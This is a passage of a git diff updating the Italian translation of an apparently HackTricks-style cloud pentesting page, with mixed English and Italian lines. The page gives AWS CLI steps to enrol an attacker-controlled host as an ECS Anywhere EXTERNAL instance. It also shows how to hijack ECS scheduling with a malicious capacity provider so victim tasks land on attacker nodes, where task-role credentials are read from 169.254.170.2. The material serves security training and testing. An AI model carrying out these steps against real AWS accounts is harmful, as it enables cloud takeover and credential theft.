taskRoleArn on attacker host; exfiltrate task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; access any volumes mounted by tasks; stealthier than manipulating capacity providers/ASGs. +- Impatto: Eseguire container arbitrari con taskRoleArn scelto sull'host dell'attaccante; esfiltrare le credenziali del task-role da 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; accedere a qualunque volume montato dalle task; meno rilevabile rispetto alla manipolazione di capacity providers/ASG. -Steps +Passaggi -1) Crea/identifica cluster (us-east-1) +1) Crea/identifica il cluster (us-east-1) ```bash aws ecs create-cluster --cluster-name ht-ecs-anywhere ``` -2) Creare il ruolo ECS Anywhere e l'attivazione SSM (per istanza on-prem/EXTERNAL) +2) Crea ruolo ECS Anywhere e attivazione SSM (per istanza on-prem/EXTERNAL) ```bash aws iam create-role --role-name ecsAnywhereRole \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}' @@ -434,7 +485,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam: ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole) ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode) ``` -3) Provisionare un host dell'attaccante e registrarlo automaticamente come EXTERNAL (esempio: piccolo AL2 EC2 come “on‑prem”) +3) Provision attacker host e auto-registrarlo come EXTERNAL (esempio: small AL2 EC2 come “on‑prem”)
user-data.sh @@ -455,14 +506,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ --user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) aws ec2 wait instance-status-ok --instance-ids $IID ``` -4) Verificare che l'istanza container EXTERNAL si sia unita +4) Verificare che l'istanza del container EXTERNAL si sia unita ```bash aws ecs list-container-instances --cluster ht-ecs-anywhere aws ecs describe-container-instances --cluster ht-ecs-anywhere \ --container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' # ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external ``` -5) Crea task/execution roles, registra EXTERNAL task definition e eseguila sull'attacker host +5) Creare task/execution roles, registrare una task definition EXTERNAL e eseguirla sull'attacker host ```bash # roles aws iam create-role --role-name ht-ecs-task-exec \ @@ -498,26 +549,26 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \ --container-instances $CI ``` -6) Da qui controlli l'host che esegue i tasks. Puoi leggere i task logs (se awslogs) o eseguire direttamente exec sull'host per esfiltrare credenziali/dati dai tuoi tasks. +6) Da qui controlli l'host che esegue i tasks. Puoi leggere i task logs (if awslogs) o direttamente exec sull'host per exfiltrate credentials/data dai tuoi tasks. -#### Esempio di comando (placeholders) +#### Esempio di comando (segnaposti) ### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) -Un attaccante con permessi per gestire gli ECS capacity providers e aggiornare i services può creare un EC2 Auto Scaling Group sotto il suo controllo, avvolgerlo in un ECS Capacity Provider, associarlo al cluster di destinazione e migrare un service vittima per usare questo provider. I Tasks saranno quindi schedulati su EC2 instances controllate dall'attaccante, consentendo accesso a livello OS per ispezionare i containers e rubare le task role credentials. +Un attacker con permessi per gestire ECS capacity providers e aggiornare services può creare un EC2 Auto Scaling Group che controlla, incapsularlo in un ECS Capacity Provider, associarlo al cluster target e migrare una victim service per usare questo provider. I tasks saranno quindi schedulati su istanze EC2 controllate dall'attacker, permettendo accesso a livello OS per ispezionare i container e rubare i task role credentials. -Commands (us-east-1): +Comandi (us-east-1): - Prerequisiti -- Crea Launch Template per far sì che l'ECS agent si unisca al target cluster +- Crea Launch Template per permettere all'ECS agent di unirsi al cluster target @@ -533,19 +584,19 @@ Commands (us-east-1): -- Migra un service al tuo provider +- Migra una service al tuo provider -- Verifica che i tasks vengano eseguiti su EC2 instances controllate dall'attaccante +- Verifica che i tasks vengano eseguiti su istanze controllate dall'attacker -- Opzionale: dall'EC2 node, esegui docker exec nei target containers e leggi http://169.254.170.2 per ottenere le credenziali del task role. +- Opzionale: dalla EC2 node, docker exec nei target containers e leggere http://169.254.170.2 per ottenere i task role credentials. - Cleanup -**Impatto potenziale:** I nodi EC2 controllati dall'attaccante ricevono i tasks della vittima, permettendo accesso a livello OS ai containers e il furto delle task IAM role credentials. +**Potential Impact:** EC2 nodes controllate dall'attacker ricevono victim tasks, consentendo accesso a livello OS ai container e il furto delle task IAM role credentials. {{#include ../../../../banners/hacktricks-training.md}}